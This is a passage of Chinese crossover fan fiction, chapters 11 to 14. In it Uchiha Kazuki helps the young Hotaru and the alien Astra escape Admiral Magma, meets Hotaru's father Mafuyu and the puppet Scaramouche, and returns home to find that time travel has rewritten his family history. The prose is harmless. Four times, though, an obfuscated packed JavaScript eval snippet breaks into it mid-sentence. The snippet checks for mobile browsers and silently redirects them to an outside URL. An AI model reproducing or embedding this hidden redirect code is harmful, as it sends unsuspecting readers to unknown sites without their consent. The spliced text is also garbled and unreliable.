“小心!”阿斯特拉叫道。他不顾自己重伤的身体,张开手臂挡在了马格马提督的手前,被他抓了个正着。马格马提督此时已是愤怒到了极点,当然不会同他客气,刹那间,他手上的黑色雷光就咆哮着落在阿斯特拉的身上,外星人的身躯因疼痛而颤抖不已,止不住张开嘴,发出一长串凄厉的哀嚎,听得在场两个人类的心脏一下子揪紧了。 “阿斯特拉!”萤痛苦的大叫道。多日的禁锢和持续的高烧还是对他的身体造成了极大的负担,在使用过一次月亮魔法以后,他的魔术回路就近乎枯竭,身体泛起一阵沉重的疼痛,直白的反驳着他之前逞强的想法,是以方才马格马提督朝他抓过来的时候,他竟连简单的躲闪都没能做到。 不过在他掉下平台以后,一根树藤就从上方飞射而来,及时勾住了他的腰,人偶更是迅速乘风而来,一把接住他,抱着他飞到了半空中。 但对于他拼命挣扎,拼命想要回到阿斯特拉身边去的动作,人偶的态度更是冷淡,用双手紧紧缚住了他的身体:“你现在过去,和送死有什么区别,还是老实呆在这儿吧!” 全然挣不脱人偶纤细却有力的手臂,萤只能拼命扭过头,试图去看阿斯特拉的脸。隔着朦胧的泪眼,他回想起的却是之前对方为了救试图逃跑的他,被马格马星人硬生生扳断头上的角的画面。 他是不是……一次又一次、一次又一次的,让阿斯特拉身陷危险之中呢? 另一边,一树几次想要攻击上去,却都因为顾忌马格马提督手里的阿斯特拉而停了下来。无法坐视对方受到伤害,更不忍心后面的萤眼睁睁看着对方受伤,一树咬了咬牙,迅速换上一副示弱的语气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14814469|158645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“……我们不是在商量交易的事吗?价格可以再讨论嘛……” “哈哈,交易?”马格马提督忍不住冷笑出声。他恶意的蹂躏着手里的阿斯特拉,重击他的身体,撕裂他的伤口,让他叫得更痛一些,一边讽刺的对一树说道:“在毁掉我的飞船之后,你还要同我谈交易?哈哈哈哈哈哈!我现在唯一想要的价格,就是你们的性命!” “好啊,这也可以谈嘛。”一树说着,干脆解除了身上的须佐能乎,像一片羽毛一般轻飘飘的落回平台上。他操控着平台,主动凑到马格马提督的面前,仰着脸对他说道:“就像你说的,比起他,你更恨我,不是吗?” 但他这样主动,反而让马格马提督心中生疑。他盯着面前的人类,这样弱小的身躯,只要自己一拳下去,就会变成一滩肉泥,他怎么敢这么对自己说话? 这样一想,怒火在一瞬间又点燃了他的心脏,他不再多想,干脆一拳挥出:“好!那你就去死吧!” 眼看着那一拳夹杂着恶意的雷光落在一树的身上,人偶抓着萤的手一下子握紧了。不过,在光芒褪去以后,出现在两个人面前的,不是一树惨死的身影,而是倒地不起的马格马提督。 一树:“?” 等等,虽然他的确想好了怎么反击,但还没出手啊! 然而,一个银色身体、披着红色斗篷的高大外星人的身影,随即从舰桥上空飞了下来,他红色的眼睛望向一树,温和的朝他点了点头,再然后,一树看着他将双腕交叉,放出一道温柔的、蓝盈盈的光线,那道光落在同样倒地不起的阿斯特拉的身上——几乎是一瞬间,外星人身上凄惨的伤势愈合如初,阿斯特拉支起身体,惊讶的从地上站起来,重新变回原本的大小,在仔细打量了对方一番之后,方才惊喜的叫道:“您是……奥特之王?!” “阿斯特拉,很高兴看你平安无事。”这位传说中的王者欣慰的伸出手,任由阿斯特拉的双手握住自己。“L77上发生的事,我都知道了,孩子,跟我走吧!接下来,你们会有新的故乡,也会有新的相遇,现在,还不是你就此停下脚步的时候!” “我哥哥,雷欧哥哥……您知道他在什么地方吗?”阿斯特拉闻弦歌而知雅意,当即激动的询问道。在混乱中分散的孪生兄长,阿斯特拉无时无刻不思念、担忧着他,毕竟在故土毁灭以后,他们已经是彼此唯一的亲人了。 “嗯,他如今在他的第二故乡——地球上,并且找到了新的使命,那就是守护地球、守护人类。他还是你记忆里那个伟大的战士。”奥特之王这样说道,抬手轻轻抚过阿斯特拉头上的断角。“等你准备好,我们就去地球上见他吧。” “嗯!”阿斯特拉激动的点了点头。然后,他欢欣的目光越过奥特之王,越过一树和飘飘然落到一树身边的人偶,最后落在人偶身边的萤身上。 他朝着萤弯起眼睛,露出了一个温柔的微笑。 12. 第十二章 宇智波真冬姗姗来迟的时候,阿斯特拉正把萤托在手心里,远离人群,在甲板另一头一边漫步,一边低低的说着话。 一树则扭着奥特之王,问了许多有关他们种族以及阿斯特拉的过去的事情。与对方威严的外表不同,这位强大而神秘的外星人的个性出乎意料的和善,对他的问题有问必答,态度堪称慈爱,让一树感觉又惊又喜,忙不迭把自己世界的宇宙坐标报给他知道——要是接下来萤大人还是因为种种原因不能出行的话,说不定阿斯特拉可以以此为引导去找他呢! 而眼看着一身黑袍的先祖打开时空传送门而来,他立刻迎了上去,亮出自己的写轮眼,郑重其事的朝他行了一礼:“真冬大人,真没想到时空的乱流,会让处在不同时间的我们相遇呢。” “哦?除了萤,还有别的宇智波的孩子流落到这个时空吗?” 真冬这么说着,摘下了外袍的兜帽,露出苍白俊美的脸庞和垂至腰间的深蓝色卷发。他原本只打算看一树一眼,就过去找自己心爱的长子,然而,就是这么一眼的功夫,他暗紫色的瞳孔定在一树的身上,随后微微怔住了。 “我的甜心,你身上的魔术回路究竟有多少条?”他情不自禁的伸出手,抚摸了一下一树和先祖宇智波面麻十分酷似的脸庞,眼底骤然点亮了一簇惊喜的烈焰。见此情形,一树有些不适应的后退了一步,不悦的皱起了鼻子:对方看他的那种眼神,与其说是见到了亲切的后辈,不如说更像是发现了某件出乎意料的宝藏的狂喜。 毕竟,长辈们充满关爱的目光,他得到的实在太多了,绝不可能在这上面认错的。 “我可爱的小南瓜,蜜糖,你是萤的后裔吗?”见他面露警惕之色,真冬的语气愈发温柔,伸过手去扣住了他的手腕。一树能感觉到他的魔力透过自己的皮肤侵入经脉,带给他一种被蛛丝缠上、想甩掉却又怎么都甩不掉的微妙感觉。真冬则是完全无视了他惊恐的表情,手指沿着他的手腕爬上手肘,用力捏了一下他的关节,捏得一树的小臂一阵难以言喻的发麻:“你是在几年以后出生的?萤的妻子是谁?真没想到,我们家居然能得到你这样的孩子,你简直是为了成为魔术师,才降生在这个世界上的——” “!!!”一树一个没忍住,瞪圆了眼睛,一把甩开他的手,噔噔噔往后退了开去。他之前对宇智波真冬的印象,除了对方是萤的父亲以外,就是对方的墓碑在墓地的哪个位置,毕竟萤往日深夜在墓地徘徊时,最常去见的就是父亲和妹妹。但谁也没告诉他,真冬大人是……是这样的魔术师啊! “别靠近他。”看出他的恐惧,人偶立刻挡在了一树的面前。但真冬看也不看他,仍是朝着一树伸出手去,人偶下意识的抬起手,想要拦住他伸过来的手掌——但在他们的手相撞之前,他们各自的手腕就都被闪身而来的一树紧紧抓住,分别阻拦在了半空中。 “真冬大人,他是我的朋友。”一树侧着身子挡住真冬的视线,沉声强调道,差点没被先祖吓出一身冷汗,为什么看起来凶狠的人偶只是单纯的抬手格挡,看起来温柔的真冬大人却出手就是杀招啊!该说,萤大人全然没有他父亲这样冷酷的脾气,真是太好了吗? “哦?朋友吗……”见他明显是害怕自己会伤害这个其实并不柔弱的非人生物,真冬咀嚼着这个对于他们一族来说有些特别的词语,似笑非笑的睇了一树一眼,收回了自己凝聚在手上的魔力。 一树缩了缩脖子,就听他继续说道:“你果然是成年了呢……也罢,未来的事,我就不多问了,不管是大众的朋友也好,唯一的朋友也罢,只要日后宇智波还有合适的继承人就行。” “咳咳咳!”一树重重咳嗽了两声,假装自己有听没有懂,随后干净利落的转移了话题:“有些事,您还是问一问比较好——事实上,我并不是萤大人的后裔,而是他的妹妹,宇智波薰的血裔。在我的时间线上,也是薰大人最后继任了家主,执掌了家族和时钟塔君主之位。” 这显然有些出乎真冬的意料,让他诧异的挑了挑眉。倒不是说,他看不起薰的能力,事实上,女巫们因为自身属性,在魔力上的天赋总是比男人们更强的,因此佼佼者比比皆是,但他的小女儿是个相当温柔内敛的姑娘,有时候沉默得一天也不会说一句话,她会有这样登临顶点的野心吗? “萤怎么了?”这个念头转过脑海,真冬难掩担忧的问道。“他竟如此短命吗?难道此事以后,他还穿越去了更遥远、更危险的时空……?” “不是啦!” 恰恰相反,这个被取了短寿的“流萤”作名字的年轻人,最终却获得了旁人难以企及的、近乎永恒的生命呢,只是现在不好说罢了。一树尴尬的摸了摸鼻子,斟酌着说道:“不过真冬大人,你也是知道嘛,正因为萤大人的这种体质,注定他要不断在各个时空之中辗转,所以……也、也不是那么合适成为家主的吧?” “呵,你在为他找借口么?我们这一脉都是永恒之王和女神菈妮的后裔,所以每个人或多或少都继承了先祖穿梭时空的这一体质,等他再长大些就好了。”真冬不以为意,但他心思一转,很快看向了一树,仔细打量着他美丽的脸庞。“等等……难道说,你都到了这个年纪了,还没法控制自己的穿越能力吗?” 一树:“……” 不仅没有,他穿越得还明显比小时候更频繁了,是以连萤大人都经常暗含讽刺的“夸奖”他在这方面很有天赋,这是可以说的吗? 然而,还不等他开口解释,面前的真冬就先一步咳嗽起来。一树震惊的看到暗红色的液体沿着他漆黑的手套缓缓滑落,又被真冬掏出手帕随意抹去,就像抹去花瓣上垂落的露珠一般。再直起腰的时候,他苍白的脸颊带上了一抹病态的嫣红,比起刚才,反而多了几分生气勃勃,朝着瞪圆了眼睛的一树微微一笑:“怎么了?你从未来过来,不是应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14814470|158645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该更清楚我的寿命吗。” 对哦,真冬大人辞世的时候,萤大人还没成年,薰大人的年纪就更小了。一树后知后觉的想起了家史上的记载,脸上的表情顿时变得复杂起来。 其实,一直以来,他的心里都有个疑问,只是无法直白的对萤问出口。阿斯特拉所在的这个世界的宇宙坐标遗失,对于他们这个魔术世家来说,实在是很不可思议的一件事,毕竟,真冬大人可是能够直接跨越时空,前来另一个宇宙找人的大魔术师啊!探查并保留一个宇宙坐标,对他而言,应该就像呼吸一样简单吧! ——但他此时,身体其实已经很不好了,发现一直以来寄予厚望的长子,心却因为这次意外,直接遗落在了宇宙之外,在他看来,大概是很不可思议、很无理取闹的一件事吧? 所以,如果那个宇宙坐标是被真冬大人毁去的话…… 那么萤大人的茫然和无措,就完全说得通了! 然而,想明白了这件事,并没有让一树感觉到半点的轻松,反而让他眼眶发热,几乎要为此落下泪来:就是先祖的一念之差,害得萤大人在浩瀚无垠的宇宙中寻觅多年,仍是没有再与故人重逢的运气。更何况自己都能想明白的事,萤大人又如何不明白呢,在孤独而漫长的五百年时光里,他是会怨恨父亲,还是明白真冬所做的一切无可厚非,进而怨恨上自己呢? 光是想一想他可能会有的左右为难,一树的心都要碎了! “其实……”一股烈火般的冲动突然涌上心头,让他忍不住脱口而出,向先祖坦白道:“其实,萤大人将来,成为了魔法师!” “哦?”这倒是让真冬有些意外了。一树毫无收敛的表情,让他的情绪如同透明一般呈现在真冬的眼里,看他那副伤心又怨恨的模样,他还以为是自己棒打鸳鸯,才害得萤失魂落魄,被薰后来居上,最终失去家主之位呢,倒没想到,他在未来,竟然迈上了魔术师的顶峰啊。 “他实现了哪一法呢?”他平静的追问道。想要实现任何一种魔法,都逃不开坚定的信念,只要一树回答了他,他自然就能知道那个困住儿子的执念是什么。 “……是第三法。因为,他一直在找一个,在宇宙尽头遇到的人,为了和他能在这个世上重逢,他需要永恒的时间和不灭的灵魂,直到和他再见的那一天到来。”一树小声回答道,用混合着担忧和渴望的目光凝望着他。作为后辈,他其实并不怀疑真冬对儿子的爱,但世上的事,有时候就是这么没有道理——爱并不一定能给人带来幸福!相反很多时候,会让人感觉到十二分的痛苦。 这样的事情,一树从很小、很小的时候,就已经知道了。 闻言,真冬的眼睛猛地瞪大,随后,他转过头去,目光如炬的看向了朝他笑着奔来的萤和阿斯特拉。 “他找了多久了?”真冬低声问道。 一树抓过他的手,在他的手背上画下了一个数字。 13. 第十三章 “爹地!” 宇智波萤欢叫着扑到父亲的怀里。至少在此时此刻,他们还是一对毫无矛盾、亲密无间的父子,有生以来的第一次漫长的分离,让其实并不爱撒娇的萤都态度大变,充满依恋的抱了父亲许久。 “萤,我的孩子……”不同于刚才对一树那种充满功利的审视,真冬注视着儿子的时候,神态就回到了一树十分熟悉的那种状态。他小心翼翼的抚摸着长子的头发,眼神中流露出那种情感,是任谁都不会认错的深厚爱意。 不过,当他的目光落到跟在萤身后走过来的阿斯特拉身上时,目光就一下子变得锐利起来。察觉到他目光中的不善,阿斯特拉有些不解的挠了挠头,退到了奥特之王身边,没有打扰那对父子的团聚,甚至想起自己的父母,他的心里又是羡慕,又是伤心。 雷欧哥哥,我们什么时候才能再相见呢?他在心里呼唤着孪生兄长的名字,重重垂下了头。 很快,真冬告知儿子,自己将带他返回原本的世界,就放任他去跟所有人道别了。萤先感谢了一树跨越时空的相助,虽然此事实属阴差阳错,并非出自他的本心,不过能够提前看到这么优秀的后辈,也足够令他欣慰了。 “所以,薰未来的丈夫到底叫什么名字?出身什么地方?是什么种族?”他双手抱肩,不客气的盘问道。“等回去以后,我就去见他,看看他到底有几分能耐!” 出现了,宇智波系妹控!一树内心尖叫不止,尴尬的表示:“无论如何,是因为有他……才有我的诞生啊!所以说,只要等到他们正常相遇就好了嘛。” 闻言,萤顿时危险的眯起了眼睛:“这么说,他一定不是个能令我满意的妹夫了?” 那是因为,你对他根本就没有任何一处满意啊!一树默默望天。他总不能告诉萤大人,他妹妹其实根本就没有结婚,因为她和她的恋人加隆不过只有几个月时间的短暂相处,随后,对方就如践行宿命一般,为护卫一位女神去往冥界了,留下薰独自生育并抚养了一对双胞胎男孩……真要是说出口,他一点不怀疑对方能马上冲去希腊掀了圣域。 “总而言之,薰大人对他很满意就是了。”他嘟囔道。“我都没有干涉你的选择,那当然也不会干涉薰大人的选择啦,只要她觉得可以去爱,那就去爱好了,她的背后还站着宇智波一族,有什么是不可以做的呢。” “你——”萤想反驳,却又不知道该从何处反驳,只能恶狠狠的瞪了他一眼,指着他的左眼说道:“看好你的眼睛,再让我看到它出现在不该出现的地方,我就让你好看!” 一树:“……” 问题是他到现在也不知道自己为什么会把眼睛送出去啊,呜哇! 不过当他来到阿斯特拉面前时,整个人忽然又由刚才的强硬变得柔软下来。萤先是感谢了奥特之王恰如其分的援手,得到了王者充满怜爱的一瞥后,才对阿斯特拉说道:“接下来,你一定要去找你哥哥了吧。” “是的。”母星L77毁灭以后,偌大的宇宙之中,他们只有彼此可以依靠了。阿斯特拉同样轻柔的回答:“王刚才告诉我,哥哥正在地球上,已经把那颗星球视为了他的第二故乡。地球就是你生活的星球吧,虽然并不在同一时空,但我想,那一定是一颗非常美丽,非常可爱的星球,我已经迫不及待想要去看一看了。” 其实,那颗星球并不美丽,也不可爱也可以。他在心里想到。 只要想到萤生活在这样一片土地上,他就会觉得这片土地可爱得不行了。 “嗯,时空不是问题,等我再长大一些,能够操控我拥有的这份力量以后,我就会来找你了。”萤傲气十足的说道。在他看来,自己如同父亲一般轻而易举的穿梭时空,也不过是几年以后的事罢了,他的人生才刚刚开始,些许的等待并不足以令人畏惧,毕竟来日方长嘛。“你可以从现在就期待日后的相遇了!” “好啊,等和兄长重逢,确认他平安无事以后,我也会来找你的。”阿斯特拉温柔的说道。他虽然没有穿梭时空的能力,但知道自己身边的奥特之王拥有宇宙中再强大不过的力量,只要自己追随在他身边,为奥特之星建功立业,相信到时候,一定能够用功劳换得王的相助的吧。 “等到再见面的那一天,我有话要跟你说。”萤突然说道。他没看到身后的一树露出非常嫉妒又牙酸的表情来,显然已经猜到了他要说的是什么话,而真冬已经别过头去,不再看完全被感情左右了神智的长子了。 “不能现在说吗?”阿斯特拉有些心跳加快。直觉告诉他,他很想听萤要对他说的那句话,但下次见面……就不知道是什么时候了。 “嗯,正因为如此……所以等待,并饱含希望吧,阿斯特拉。”萤顽皮的说道,最后一次靠过去,朝他伸出了手。阿斯特拉蹲下身,把手指伸向他。于是,这对年轻人在彼此长辈的见证下,做出了人生中最重要的一个约定,尽管连他们自己都不知道,约定实现的时间何时会到来,但毫无疑问,这次短暂的相遇,从此纠缠了他们彼此的一生。 “——那么,这里还有一件事要解决!”实在看不下去的一树,猛地抓起身边人偶的手,将他重重往上一举。 “这个家伙也是从他的世界穿越到这里来的,你们有谁能先送他回家啦!” 其实,送他回家倒是小事,无论是真冬还是奥特之王都愿意帮忙,问题是,他刚要把人偶交到他们手里,就听对方冷哼一声,突然开口说道:“一树,你还没有问过我的名字。” “啊?”一树瞬间汗流浃背了。回想这一路上,对方先是二话不说就把眼睛还给了他,随后又毫无怨言的为了他和一众外星人打架,最后自己却连他的名字是什么都没问,连他自己都觉得自己太不是人了! “对不起!”他立刻双手合十,十分诚恳的向对方道了歉。随后,他抬起头,认真的询问道:“那么,请容许我重新自我介绍一下,我是宇智波一树,可以请你告诉我,你的名字是什么吗?” 然而,被他湛蓝的眼眸这样注视着,反而是刚才还以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14814471|158645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 强硬的态度注视着他的人偶突然一愣,随后,他扭过头,像是思索一般婆娑着自己的手臂,就好像他有许多名字,因而难以抉择该告诉对方哪一个一般,好半晌,才吐出几个字:“……散兵。” “胆小鬼?这可不像一个正式的名字,更像是代号吧。”萤在一边凉凉的吐槽道。一树先是一愣,随后,他笑了起来。 “没关系,没关系,名字本来也不过是一个代号,重要的是人们呼唤这个名字的心意嘛。”他把手抱在了后脑勺上,朝着人偶露出一个灿烂的笑脸来。“散兵是吧……我记住你的名字了!真对不起,之前忘记了这个名字,虽然我也不明白为什么,但只要有人记得……我相信,我们经历过的一切,一定是有意义的。” 刹那间,人偶空荡荡的胸口,仿佛有什么东西重重一跳。一切恍惚回到了最初的最初,凡人走进了神灵的梦境,而神灵自高处坠落以后,却落入了凡人的怀里。 “当然是有意义的。”散兵说道,把手伸向了他的胸口。“因为你胸膛里的那颗心是属于我的东西,是你自己说要给我的,你的眼睛不过是你离开的时候,它的代替品而已。” 一树:“……” 好吧,他实在不能自欺欺人的说这是朋友之间会有的对话了。所以现在的问题是,有没有人能告诉他,他应该怎么对待一个自己完全不记得的、疑似恋人的存在啊? 难道要他给自己来一发白山权限,现场制造不存在的记忆和感情吗? 这样做,感觉也不是很尊重对方吧! 但不知道是看出他的不适,还是打一开始,对方其实就没有为难他的打算,在留下这样一句炸雷以后,散兵就示意奥特之王,可以送自己离开了。这下子,倒是满心纠结的一树一下子无所适从,下意识的抓住了他的手。 “你没有什么想要我为你做的事吗?”望着人偶回看过来的眼睛,他下意识的脱口而出道,说完又觉得有些不对,赶紧找补道:“我、我是说,我真的很感激你,把我的眼睛还给了我,这对我来说真的很重要。或许这次分开,我们各自回去以后,就不会再见面了,所以,作为感谢,我可以给你一些别的东西——” “你曾经问过我。”散兵打断了他的话,答非所问的说道:“你曾经问过我,要怎么才能确定,自己驯服了一只鸟儿。” “啊?”察觉到他有点要当谜语人的征兆,一树瞬间警觉起来。散兵却不理会他犀利的目光,只是自顾自的继续说下去:“把它关在笼子里,牢牢困在身边,看起来是最简单的办法,其实却是最愚蠢的做法。恰恰相反,放任它自由自在的飞出笼子,它却还能在那以后飞回到你的身边,那么,它就再也没法离开了,因为它的心,已经选择了自己的主人。” “我的小鸟。”他抚摸了一下一树的侧脸。“我已经明白纠缠在我们之间的命运是怎么回事了,下次见面的时候,相信你也能明白了。” 说完,他就猛地把一树推开,头也不回的走入了奥特之王伸过来的手掌之中。 14. 第十四章 一树十分郁闷的通过时空坐标返回了自己的时空。 九尾还盘亘在他的床上,交叠着前肢,保持着他离开时的姿势。见他回来,尾兽抬起眼睛,上下打量了他两眼,随后嗤笑着说道:“一树,你最近穿越得是不是太频繁了,这样真的能正常上课吗?” “啊——我也不想的嘛!”闻言,一树一个翻身,一头扎进它柔软的皮毛里。“我明明只想做个普通人,享受一点普通人平静的生活,九喇嘛你都不知道我在那个世界都经历了些什么,呜呜……” “安啦,反正你已经回来了嘛。要是实在太累的话,今天要和我一起去泡温泉?”九喇嘛抬起巨大的爪子,在他背上拍了拍。不过,一树也就埋在它怀里惆怅了一会儿,随后便突然抬起头来,神秘兮兮的对它说道:“不过,其实也不是没有好事发生……这次穿越,我见到小时候的萤大人了哦!” “诶?” “原来如此,你是去到了那个时间啊……”听完一树手舞足蹈的叙述,九喇嘛揣着爪子,用长长的尾巴一下一下的扫着他的背:“不错,不错,那个年纪的萤很可爱吧,那时候,谁能想到他会长成如今这样的大人啊!” “怎么这么说,现在的萤大人,也很可爱啊!”一树立刻反驳道。他喜欢家里的每一位长辈,所以并不允许任何人说他们的坏话。“不过,虽然我早就知道,萤大人以前是紫色的头发,却还是第一次见到这样的他呢。” 萤的房间里,常年挂着他心爱的妹妹、宇智波薰的画像。那美丽的少女穿着深绿色的长裙,坐在春意盎然的花园中,紫罗兰色的长发像是缎子一样闪烁着微光,仿佛春神降临人间。萤和她曾经是一对非常相似的兄妹,但当年目睹妹妹去世以后,他就一夜白头,再不复昔日的意气风发,好似生命中的一部分,也随着对方一起死去了一般。 虽然,萤大人披散着白发坐在那里的样子,简直就像是传说中的月神一样嘛。一树有些想入非非的思索道。还是九喇嘛诧异的声音打断了他的思考:“你在说什么傻话?萤的头发不是一直都是紫色的吗?什么时候变过色?” “诶?” 一树转过头,和九喇嘛一阵大眼瞪小眼。九尾歪着头,有些担忧的问道:“你是太久没见到萤,连他长什么样子都忘了吗?可是,今年三月你生日的时候,他和阿斯特拉还有回来给你庆生啊?” 伴随着它的话语,一树只感觉自己的记忆好似化作了一片混沌。一边是白发金瞳,寸步不离的守着他,陪伴并教导他长大的宇智波萤;一边是紫发金瞳,早在五百年前就去往另一个时空定居,和某个外星人喜结连理,只偶尔返回自己的时空照看后辈的宇智波萤。两份完全不同的记忆交织在一起,不断撕扯着他的内心,最终化为一声惊恐的大叫:“天啦,这是怎么回事?过去怎么改变了?!” 总而言之,跟九喇嘛鸡同鸭讲了一番之后,九尾终于半信半疑的接受了他的说法:“蝴蝶效应?因为这回,你不是穿越到了平行世界,而是穿越到了这个时空的过去,改变了萤的命运,所以现实也跟着改变了?如果你说的是真的话,那也太——” “那也太好了吧!”一树眼泪汪汪的大声接道。“萤大人,不用寂寞的寻找和等待,顺顺利利的和心爱的阿斯特拉重逢了!看来,真冬大人听进去了我的话,放手让萤大人去做他想做的事了啊,真是太好了!” 听到一树说,萤为此磋磨了五百年岁月的时候,真冬是不是也为此很心疼、很无奈呢? “果然,真冬大人,也是爱着萤大人的……”其实,在见识到真冬对待自己的狂热态度以后,一树有那么一瞬间,十分担心他会为了自己能顺利诞生在这个世界上,而漠视既定命运中萤的痛苦,但幸而只要有爱,就会有退让,有成全。 想到这里,一树吸了吸鼻子,又忍不住笑了起来。“真是太好了!” “笨蛋!你这个笨蛋!一点都不好啦!”九喇嘛却突然勃然大怒起来。“你到底明不明白,自己都做了什么啊!命运不一定都是朝着好的方向发展的,萤和你之间,可是横隔着整整五百年的时间啊!你倒是成全了他,但从那一刻开始,后面所有人的命运都会改变,甚至你自己,都可能不会出现在这世上了!你到底明不明白!” “可是,我现在就在这里啊,就在你的面前。”一树撒娇的抱住它的一只前爪。“你不是常常说,命运很眷顾我吗?看来这一次,也没有例外呢!” “你啊。”被他这么可爱的抱着,望着他那双和鸣人十分相像的湛蓝眼眸,九喇嘛一下子就心软了。但一想到,这么可爱的一树有可能会从这个世界上消失,这种压倒一切的紧迫感还是促使它对一树再三叮嘱道:“那不可以有第二次了,即便是你,也不可能永远拥有同样的好运的!” “好啦好啦。”一树有些敷衍的回答道。正当他打算再和九喇嘛撒撒娇,把这件事彻底糊弄过去的时候,一面水镜却突然浮现在半空中,向一树传递了通讯申请。 “蜜糖,这几天在木叶过得高兴吗?我们在非洲玩得也很开心哦!”出现在水镜中的,是一树的父亲,宇智波秀幸笑得灿烂的脸庞。他金色的长发随风肆意飞舞着,碧绿的眼睛弯成两弯美丽的新月,快活得耀眼生花。在他身后,是一身帅气打扮,戴着墨镜,专心开着车的一树的母亲千手梨纱,她只朝着水镜摆了摆手,就当和儿子打招呼了。随后,一张红扑扑的小脸出现在秀幸的肩膀上——一树的妹妹千手薰从后座探出身来,依偎着父亲的肩膀,朝着兄长露出甜美的微笑。 “哥哥,你什么时候才有假期啊?”她半是抱怨,半是撒娇的说道:“这里什么都很好,但我好想哥哥也和我们一起哦……” “小……小薰!”然而,被她呼唤的身处水镜另一头的一树,却止不住的露出震惊的表情来。 “你怎么变得那么大了!” 苍天啊,大地啊,他妹妹明明比他小十岁,今年芳龄才八岁啊!这个看起来起码也有十五六岁的少女,居然是他可爱的妹妹吗?! “什么这么大了?哥哥,你还没睡醒吗?”和一开始的九尾一样,小薰完全不明白自家哥哥在说什么。她抬起手看了看腕上的手表,随后嘟着嘴对秀幸说道:“爸爸,我就说不该这么早找哥哥的啦。” “安琪儿,我的甜心,这不是已经到了你哥哥平时起床的时间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14814472|158645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了吗?可能刚起床还有些不清醒吧。”秀幸不以为意的说道,他的注意力已经被缠在一树身上的巨大狐尾吸引了过去。“九喇嘛也在啊,一树一回木叶,你立刻就来找他了,这么形影不离,真是让人好生嫉妒哦。” “好啦,和你儿子吃什么醋,等你们返回英国的时候,我就会回伦敦去找你们的。”九喇嘛轻车熟路的安抚道,很快就让秀幸重新露出了笑脸。他和九尾说了几句话以后,转而又对儿子说道:“Reborn刚刚给我打了电话,说他又收了一个新的学生,已经从意大利启程去木叶了。甜心,上次你过生日的时候,不还抱怨这个毫无师生情谊的家伙拒绝了你的派对邀请吗?这下正好,我还没告诉他你去木叶上学的消息呢,你不妨直接去找他,放心大胆的给你可爱的老师一个惊喜吧,哈哈哈!” 他给儿子报了个地址,据说他那位新的师弟就居住在此地。随后,伴随着小薰的一声欢叫,似乎他们此行的目标进入了这一家三口的视野,秀幸连忙对着儿子抛了两个安慰的飞吻,结束了水镜魔术。 一树:“……” 什么Reborn,什么老师?为什么听到这个名字,他会下意识的汗毛直立,起了一身鸡皮疙瘩啊? 他不得不花了一段时间梳理自己脑海中混乱的记忆,剖出时间线的变化,却又在得到答案以后,整个人生无可恋的倒回了床上,安详的闭上了眼睛。 萤大人结婚了。因为他的结婚对象跨越了种族、宇宙和时空,是以他很早就搬去了另一个时空的奥特之星居住,好几年才会与族人有一次会面。 但因着这份古怪的婚姻关系,他丈夫的哥哥,把地球视为第二故乡、拥有穿梭时空能力的雷欧奥特曼,时不时会来这个时空的地球看看。于是,就是那么凑巧,当诅咒刚刚在宇智波家蔓延开来的时候,雷欧就发现了端倪,及时通知了远在时空另一边的萤,这位实现了第三法的大魔法师铁青着脸火急火燎的回了家,很快处理好了所有的事情。 于是,一树记忆里几乎灭族的诅咒事件,就这么轻飘飘的结束在了这里。他从小生活的宇智波庄园,也并没有变成记忆里那般空洞,而是住满了许多他根本不认识的族人。 有了同胞兄弟,这一次,他的父亲秀幸没有被选为族长,自然也没有继承魔术刻印和时钟塔的君主之位,这倒也罢了。但他和心上人梨纱宿命般的结合,却引发了族里的巨大震动,长辈们无法接受他迎娶一个几乎没有魔力的平凡女人,秀幸却根本不在乎没有他们的祝福,于是没过多久,他就拍拍屁股入赘进了千手家,并在此后的三年里,陆续为小家庭增添了长子一树和次女薰。 然后——一树一出生就遗传的木遁血继和他多得出奇的魔术回路就毫无争议的吸引了家族的注意,族人为此对小夫妻进行了地毯式的狂轰滥炸,要求他们带着孩子返回族中,最后,秀幸和梨纱不堪其扰,终于选择向他们低头,回到了伦敦,直到一树年满十五岁,他们才再一次带着女儿离开家族,开始在全世界周游记录,享受人生。 一树:“……” 